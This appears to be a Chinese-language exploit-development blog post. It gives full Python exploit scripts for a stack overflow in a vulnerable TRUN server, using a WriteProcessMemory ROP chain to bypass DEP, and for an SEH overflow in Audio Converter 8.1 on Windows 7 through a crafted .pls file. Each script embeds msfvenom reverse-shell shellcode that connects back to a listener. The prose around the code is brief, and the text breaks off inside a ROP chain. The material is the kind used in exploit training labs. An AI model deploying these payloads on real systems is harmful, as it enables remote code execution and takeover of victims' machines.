49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
#!/usr/bin/env python3


import socket
import struct

HOST = '192.168.91.160'
PORT = 9999


def mapBadChars(sh):
BADCHARS = b"\x00"
i = 0
badIndex = []
while i < len(sh):
for c in BADCHARS:
if sh[i] == c:
badIndex.append(i)
i=i+1
return badIndex

def encodeShellcode(sh):
BADCHARS = b"\x00"
REPLACECHARS = b"\xff"
encodedShell = sh
for i in range(len(BADCHARS)):
encodedShell = encodedShell.replace(struct.pack("B", BADCHARS[i]), struct.pack("B", REPLACECHARS[i]))
return encodedShell

def decodeShellcode(dllBase, badIndex, shellcode):
BADCHARS = b"\x00"
CHARSTOADD = b"\x01"
restoreRop = b""
for i in range(len(badIndex)):
if i == 0:
offset = badIndex[i]
else:
offset = badIndex[i] - badIndex[i-1]
neg_offset = (-offset) & 0xffffffff
value = 0
for j in range(len(BADCHARS)):
if shellcode[badIndex[i]] == BADCHARS[j]:
value = CHARSTOADD[j]
value = (value) | 0x11111100 # DL
print(hex(value))

# current EAX point to the address of shellcode-1
restoreRop += struct.pack("<L", (dllBase + 0x7637768e)) # POP ECX # RETN ** [WS2_32.DLL] **
restoreRop += struct.pack("<L", (neg_offset))
restoreRop += struct.pack("<L", (dllBase + 0x758ba9a8)) # SUB EAX,ECX # RETN ** [KERNEL32.DLL] **
restoreRop += struct.pack("<L", (0x7721aed0)) # POP EDX # RETN ** [ntdll.dll] **
restoreRop += struct.pack("<L", (value)) # values in DL
restoreRop += struct.pack("<L", (dllBase + 0x755bc4eb)) # ADD BYTE PTR [EAX],DL # RETN ** [KERNELBASE.dll] **
return restoreRop


def main():

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode
shellcode = b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff"
shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"
shellcode += b"\x6a\x05\x68\xc0\xa8\x5b\x89\x68\x02\x00\x11"
shellcode += b"\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74"
shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75"
shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d"
shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12"
shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc"
shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0\x1d\x2a"
shellcode += b"\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f"
shellcode += b"\x6a\x00\x53\xff\xd5"

pos = mapBadChars(shellcode)
print(pos)
encodedRevShell = encodeShellcode(shellcode)

func = struct.pack("<L",0x45454545) # WriteProcessMemory Address
func += struct.pack("<L",0x62501c10) # Shellcode Return Address
func += struct.pack("<L",0xFFFFFFFF) # pseudo Process handle
func += struct.pack("<L",0x62501c10) # Code cave address
func += struct.pack("<L",0x41414141) # dummy lpBuffer (Stack address)
func += struct.pack("<L",0x41414141) # dummy nSize
func += struct.pack("<L",0x62502028) # lpNumberOfBytesWritten


eip = struct.pack("<L",0x62501022) # retn essfunc.dll

# save ESP to ESI,EDX,EAX
rop1 = struct.pack("<L", 0x755912d6) # PUSH ESP # POP ESI # RETN
rop1 += struct.pack("<L", 0x755b671f) # MOV EDX,ESI # POP ESI # RETN 0x04
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x7728bdf4) # MOV EAX,EDX # POP ESI # RETN
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x41414141) # junk

# Patching dummy lpBuffer
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x88888888) # 0x88888888
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x77777988) # 0x77777988
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758fe636) # MOV EAX,EDX # RETN
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN


rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

# Patching dummy nSize
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x772a5a6f) # POP ECX # RETN
rop1 += struct.pack("<L", 0xfffffdf4) # 0xfffffdf4
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758f15ce) # NEG EAX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

# Patching WriteProcessMemory Address
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x76068122) # XCHG EAX,EDI # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x62506090) # IAT 62506090 AddAtomA KERNEL32
rop1 += struct.pack("<L", 0x75fd7518) # XCHG EAX,DWORD PTR [ECX] # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x7557771b) # POP EAX # RETN
rop1 += struct.pack("<L", 0xfffd9df0) # 0xfffd9df0
rop1 += struct.pack("<L", 0x758f15ce) # NEG EAX # RETN
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x76068122) # XCHG EAX,EDI # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

# save current EAX to EBX
rop1 += struct.pack("<L", 0x7730e63c) # XCHG EAX,ESI # RETN
rop1 += struct.pack("<L", 0x75f84c67) # MOV EAX,ESI # RETN

# Align EAX with shellcode
rop1 += struct.pack("<L", 0x772a5a6f) # POP ECX # RETN
rop1 += struct.pack("<L",0xfffffda8) # 0n600
rop1 += struct.pack("<L", 0x772974e4) # SUB EAX,ECX # RETN ** [ntdll.dll] **

rop1 += decodeShellcode(0, pos, shellcode)

# Align ESP with ROP Skeleton
rop1 += struct.pack("<L", 0x7730e63c) # XCHG EAX,ESI # RETN
rop1 += struct.pack("<L", 0x749f2002) # XCHG EAX,ESP # RETN




# padding = b"C" * (3000-2006-32-len(rop1)-len(shellcode))
padding = b"\x44" * 16

PAYLOAD = (
b'TRUN .' +
b'A' * (2006-len(func)) +
func +
eip +
rop1 +
b"\x90"*80+
encodedRevShell+
padding
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)


if __name__ == "__main__":
main()

喜闻乐见的反弹shell如下:

BOF

单坏字符,用于解码的ROP Gadgets一般不会很长,如果涉及很多坏字符,解码的ROP Gadgets会很长,最终可能因为栈空间不够,导致shellcode受到挤压,后续被截断,最终导致利用失败。

尝试7个坏字符时,最后因为栈空间不够导致shellcode被截断了。最终,试了3个坏字符的情况,还算正常。利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
#!/usr/bin/env python3


import socket
import struct

HOST = '192.168.91.160'
PORT = 9999


def mapBadChars(sh):
BADCHARS = b"\x00\x09\x0a"
i = 0
badIndex = []
while i < len(sh):
for c in BADCHARS:
if sh[i] == c:
badIndex.append(i)
i=i+1
return badIndex

def encodeShellcode(sh):
BADCHARS = b"\x00\x09\x0a"
REPLACECHARS = b"\xff\x10\x06"
encodedShell = sh
for i in range(len(BADCHARS)):
encodedShell = encodedShell.replace(struct.pack("B", BADCHARS[i]), struct.pack("B", REPLACECHARS[i]))
return encodedShell

def decodeShellcode(dllBase, badIndex, shellcode):
BADCHARS = b"\x00\x09\x0a"
CHARSTOADD = b"\x01\xf9\x04"
restoreRop = b""
for i in range(len(badIndex)):
if i == 0:
offset = badIndex[i]
else:
offset = badIndex[i] - badIndex[i-1]
neg_offset = (-offset) & 0xffffffff
value = 0
for j in range(len(BADCHARS)):
if shellcode[badIndex[i]] == BADCHARS[j]:
value = CHARSTOADD[j]
value = (value) | 0x11111100 # DL
print(hex(value))

# current EAX point to the address of shellcode-1
restoreRop += struct.pack("<L", (dllBase + 0x7637768e)) # POP ECX # RETN ** [WS2_32.DLL] **
restoreRop += struct.pack("<L", (neg_offset))
restoreRop += struct.pack("<L", (dllBase + 0x758ba9a8)) # SUB EAX,ECX # RETN ** [KERNEL32.DLL] **
restoreRop += struct.pack("<L", (0x7721aed0)) # POP EDX # RETN ** [ntdll.dll] **
restoreRop += struct.pack("<L", (value)) # values in DL
restoreRop += struct.pack("<L", (dllBase + 0x755bc4eb)) # ADD BYTE PTR [EAX],DL # RETN ** [KERNELBASE.dll] **
return restoreRop


def main():

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode
shellcode = b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff"
shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"
shellcode += b"\x6a\x05\x68\xc0\xa8\x5b\x89\x68\x02\x00\x11"
shellcode += b"\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74"
shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75"
shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d"
shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12"
shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc"
shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0\x1d\x2a"
shellcode += b"\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f"
shellcode += b"\x6a\x00\x53\xff\xd5"

pos = mapBadChars(shellcode)
print(pos)
encodedRevShell = encodeShellcode(shellcode)


func = struct.pack("<L",0x45454545) # WriteProcessMemory Address
func += struct.pack("<L",0x62501c10) # Shellcode Return Address
func += struct.pack("<L",0xFFFFFFFF) # pseudo Process handle
func += struct.pack("<L",0x62501c10) # Code cave address
func += struct.pack("<L",0x41414141) # dummy lpBuffer (Stack address)
func += struct.pack("<L",0x41414141) # dummy nSize
func += struct.pack("<L",0x62502028) # lpNumberOfBytesWritten


eip = struct.pack("<L",0x62501022) # retn essfunc.dll
# save ESP to ESI,EDX,EAX
rop1 = struct.pack("<L", 0x755912d6) # PUSH ESP # POP ESI # RETN
rop1 += struct.pack("<L", 0x755b671f) # MOV EDX,ESI # POP ESI # RETN 0x04
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x7728bdf4) # MOV EAX,EDX # POP ESI # RETN
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x41414141) # junk

# Patching dummy lpBuffer
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x88888888) # 0x88888888
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x7777798c) # 0x7777798c
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758fe636) # MOV EAX,EDX # RETN
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN



rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

# Patching dummy nSize
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x772a5a6f) # POP ECX # RETN
rop1 += struct.pack("<L", 0xfffffdf4) # 0xfffffdf4
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758f15ce) # NEG EAX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

# Patching WriteProcessMemory Address
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x76068122) # XCHG EAX,EDI # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x62506090) # IAT 62506090 AddAtomA KERNEL32
rop1 += struct.pack("<L", 0x75fd7518) # XCHG EAX,DWORD PTR [ECX] # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x7557771b) # POP EAX # RETN
rop1 += struct.pack("<L", 0xfffd9df0) # 0xfffd9df0
rop1 += struct.pack("<L", 0x758f15ce) # NEG EAX # RETN
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x76068122) # XCHG EAX,EDI # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

# save current EAX to EBX
rop1 += struct.pack("<L", 0x7730e63c) # XCHG EAX,ESI # RETN
rop1 += struct.pack("<L", 0x75f84c67) # MOV EAX,ESI # RETN

# Align EAX with shellcode
rop1 += struct.pack("<L", 0x772a5a6f) # POP ECX # RETN
rop1 += struct.pack("<L", 0xfffffd78) # 0n648
rop1 += struct.pack("<L", 0x772974e4) # SUB EAX,ECX # RETN ** [ntdll.dll] **

rop1 += decodeShellcode(0, pos, shellcode)

# Align ESP with ROP Skeleton
rop1 += struct.pack("<L", 0x7730e63c) # XCHG EAX,ESI # RETN
rop1 += struct.pack("<L", 0x749f2002) # XCHG EAX,ESP # RETN




# padding = b"C" * (3000-2006-32-len(rop1)-len(shellcode))
padding = b"\x44" * 1000

PAYLOAD = (
b'TRUN .' +
b'A' * (2006-len(func)) +
func +
eip +
rop1 +
b"\x90"*80+
encodedRevShell+
padding
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)


if __name__ == "__main__":
main()

喜闻乐见的反弹shell如下:

BOF

本次讨论的Audio Converter 8.1Win7 SP1 6.1.7601Win10 10.0.19044两者之间有一些不同,在Win7下漏洞能够利用成功,在Win10下会出现SEH Handler无法捕捉到异常,导致漏洞执行失败。

先来看Win7下的漏洞利用:之前遇到的SEH栈溢出漏洞,覆盖的都是SEH链的第一个NSEHSEH Handler,而这里覆盖的是第二个NSEHSEH Handler。简单的部分就不说了,Win7Offset4432(覆盖NSEH的值),坏字符为\x00\x0a

看一下溢出的时候,其实是SEH链第二个节点被覆盖:

BOF

但是,这不影响漏洞利用的方式,还是P/P/R结合JMP,如果当前异常处理函数无法处理异常,则会转到下一个异常处理函数处理,所以覆盖的异常处理函数是可以得到执行的,进而执行写入的shellcode。考虑要bypass ASLR,所以需要找到未开启ASLRDLL

BOF

win7下没有开启全局DEP时,就是简单的SEH 栈溢出,最终的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3
import struct

filename="exploit.pls"

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00\x3d'
shellcode = b""
shellcode += b"\xdd\xc6\xd9\x74\x24\xf4\x58\x33\xc9\xbe\xab"
shellcode += b"\x77\x29\x71\xb1\x52\x31\x70\x17\x03\x70\x17"
shellcode += b"\x83\x43\x8b\xcb\x84\x6f\x9c\x8e\x67\x8f\x5d"
shellcode += b"\xef\xee\x6a\x6c\x2f\x94\xff\xdf\x9f\xde\xad"
shellcode += b"\xd3\x54\xb2\x45\x67\x18\x1b\x6a\xc0\x97\x7d"
shellcode += b"\x45\xd1\x84\xbe\xc4\x51\xd7\x92\x26\x6b\x18"
shellcode += b"\xe7\x27\xac\x45\x0a\x75\x65\x01\xb9\x69\x02"
shellcode += b"\x5f\x02\x02\x58\x71\x02\xf7\x29\x70\x23\xa6"
shellcode += b"\x22\x2b\xe3\x49\xe6\x47\xaa\x51\xeb\x62\x64"
shellcode += b"\xea\xdf\x19\x77\x3a\x2e\xe1\xd4\x03\x9e\x10"
shellcode += b"\x24\x44\x19\xcb\x53\xbc\x59\x76\x64\x7b\x23"
shellcode += b"\xac\xe1\x9f\x83\x27\x51\x7b\x35\xeb\x04\x08"
shellcode += b"\x39\x40\x42\x56\x5e\x57\x87\xed\x5a\xdc\x26"
shellcode += b"\x21\xeb\xa6\x0c\xe5\xb7\x7d\x2c\xbc\x1d\xd3"
shellcode += b"\x51\xde\xfd\x8c\xf7\x95\x10\xd8\x85\xf4\x7c"
shellcode += b"\x2d\xa4\x06\x7d\x39\xbf\x75\x4f\xe6\x6b\x11"
shellcode += b"\xe3\x6f\xb2\xe6\x04\x5a\x02\x78\xfb\x65\x73"
shellcode += b"\x51\x38\x31\x23\xc9\xe9\x3a\xa8\x09\x15\xef"
shellcode += b"\x7f\x59\xb9\x40\xc0\x09\x79\x31\xa8\x43\x76"
shellcode += b"\x6e\xc8\x6c\x5c\x07\x63\x97\x37\xe8\xdc\xcc"
shellcode += b"\x4e\x80\x1e\xf2\x41\x0d\x96\x14\x0b\xbd\xfe"
shellcode += b"\x8f\xa4\x24\x5b\x5b\x54\xa8\x71\x26\x56\x22"
shellcode += b"\x76\xd7\x19\xc3\xf3\xcb\xce\x23\x4e\xb1\x59"
shellcode += b"\x3b\x64\xdd\x06\xae\xe3\x1d\x40\xd3\xbb\x4a"
shellcode += b"\x05\x25\xb2\x1e\xbb\x1c\x6c\x3c\x46\xf8\x57"
shellcode += b"\x84\x9d\x39\x59\x05\x53\x05\x7d\x15\xad\x86"
shellcode += b"\x39\x41\x61\xd1\x97\x3f\xc7\x8b\x59\xe9\x91"
shellcode += b"\x60\x30\x7d\x67\x4b\x83\xfb\x68\x86\x75\xe3"
shellcode += b"\xd9\x7f\xc0\x1c\xd5\x17\xc4\x65\x0b\x88\x2b"
shellcode += b"\xbc\x8f\xa8\xc9\x14\xfa\x40\x54\xfd\x47\x0d"
shellcode += b"\x67\x28\x8b\x28\xe4\xd8\x74\xcf\xf4\xa9\x71"
shellcode += b"\x8b\xb2\x42\x08\x84\x56\x64\xbf\xa5\x72"

# badchars: \x00\x3d
payload=b"A"*4432
payload+=b"\xeb\x06\x90\x90"
payload += struct.pack("<L",0x1002b51c)
payload+=b"\x90"*16
payload+=shellcode
payload+=b"C"*(45544-len(shellcode))

with open("exploit.pls", "wb") as fp:
fp.write(payload)

成功反弹shell

BOF

现在开启全局DEP,来看一下,基本的步骤就不说了,截图几张:

利用mona,在每个SEH Handler下断点,这个方法还挺方便的:

BOF

查找ROP Chain在内存的位置:

BOF

执行到触发SEH之后,查看此刻ESP,得到ROP ChainROP之间的距离:

BOF

利用mona寻找跳转大于等于2412ROP Gadget

BOF

在生成的stackpivot.txt文件中挑选符合要求的ROP Gadget

BOF

这里选择0x100646bb作为覆盖seh的地址。注意跳转了3652个字节,需要在ROP Chain前面填充一些\x90,不然会跳转到ROP Chain内部,导致无法执行。经过多次尝试,需要添加1348\x90才能精确到达ROP Chain的最开始部分。

最终的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/python3
import struct


total_size = 200000
filename="exploit_seh.pls"

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00\x3d'
shellcode = b""
shellcode += b"\xdd\xc6\xd9\x74\x24\xf4\x58\x33\xc9\xbe\xab"
shellcode += b"\x77\x29\x71\xb1\x52\x31\x70\x17\x03\x70\x17"
shellcode += b"\x83\x43\x8b\xcb\x84\x6f\x9c\x8e\x67\x8f\x5d"
shellcode += b"\xef\xee\x6a\x6c\x2f\x94\xff\xdf\x9f\xde\xad"
shellcode += b"\xd3\x54\xb2\x45\x67\x18\x1b\x6a\xc0\x97\x7d"
shellcode += b"\x45\xd1\x84\xbe\xc4\x51\xd7\x92\x26\x6b\x18"
shellcode += b"\xe7\x27\xac\x45\x0a\x75\x65\x01\xb9\x69\x02"
shellcode += b"\x5f\x02\x02\x58\x71\x02\xf7\x29\x70\x23\xa6"
shellcode += b"\x22\x2b\xe3\x49\xe6\x47\xaa\x51\xeb\x62\x64"
shellcode += b"\xea\xdf\x19\x77\x3a\x2e\xe1\xd4\x03\x9e\x10"
shellcode += b"\x24\x44\x19\xcb\x53\xbc\x59\x76\x64\x7b\x23"
shellcode += b"\xac\xe1\x9f\x83\x27\x51\x7b\x35\xeb\x04\x08"
shellcode += b"\x39\x40\x42\x56\x5e\x57\x87\xed\x5a\xdc\x26"
shellcode += b"\x21\xeb\xa6\x0c\xe5\xb7\x7d\x2c\xbc\x1d\xd3"
shellcode += b"\x51\xde\xfd\x8c\xf7\x95\x10\xd8\x85\xf4\x7c"
shellcode += b"\x2d\xa4\x06\x7d\x39\xbf\x75\x4f\xe6\x6b\x11"
shellcode += b"\xe3\x6f\xb2\xe6\x04\x5a\x02\x78\xfb\x65\x73"
shellcode += b"\x51\x38\x31\x23\xc9\xe9\x3a\xa8\x09\x15\xef"
shellcode += b"\x7f\x59\xb9\x40\xc0\x09\x79\x31\xa8\x43\x76"
shellcode += b"\x6e\xc8\x6c\x5c\x07\x63\x97\x37\xe8\xdc\xcc"
shellcode += b"\x4e\x80\x1e\xf2\x41\x0d\x96\x14\x0b\xbd\xfe"
shellcode += b"\x8f\xa4\x24\x5b\x5b\x54\xa8\x71\x26\x56\x22"
shellcode += b"\x76\xd7\x19\xc3\xf3\xcb\xce\x23\x4e\xb1\x59"
shellcode += b"\x3b\x64\xdd\x06\xae\xe3\x1d\x40\xd3\xbb\x4a"
shellcode += b"\x05\x25\xb2\x1e\xbb\x1c\x6c\x3c\x46\xf8\x57"
shellcode += b"\x84\x9d\x39\x59\x05\x53\x05\x7d\x15\xad\x86"
shellcode += b"\x39\x41\x61\xd1\x97\x3f\xc7\x8b\x59\xe9\x91"
shellcode += b"\x60\x30\x7d\x67\x4b\x83\xfb\x68\x86\x75\xe3"
shellcode += b"\xd9\x7f\xc0\x1c\xd5\x17\xc4\x65\x0b\x88\x2b"
shellcode += b"\xbc\x8f\xa8\xc9\x14\xfa\x40\x54\xfd\x47\x0d"
shellcode += b"\x67\x28\x8b\x28\xe4\xd8\x74\xcf\xf4\xa9\x71"
shellcode += b"\x8b\xb2\x42\x08\x84\x56\x64\xbf\xa5\x72"





def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_ebp:---]
0x10070b5f, # POP EBP # RETN [audconv.dll]
0x10070b5f, # skip 4 bytes [audconv.dll]
#[---INFO:gadgets_to_set_ebx:---]
0x1006c128, # POP EBX # RETN [audconv.dll]
0x00000001, # 0x00000001-> ebx
#[---INFO:gadgets_to_set_edx:---]
0x10082d43, # POP EDX # RETN [audconv.dll]
0x00001000, # 0x00001000-> edx
#[---INFO:gadgets_to_set_ecx:---]
0x10073e81, # POP ECX # RETN [audconv.dll]
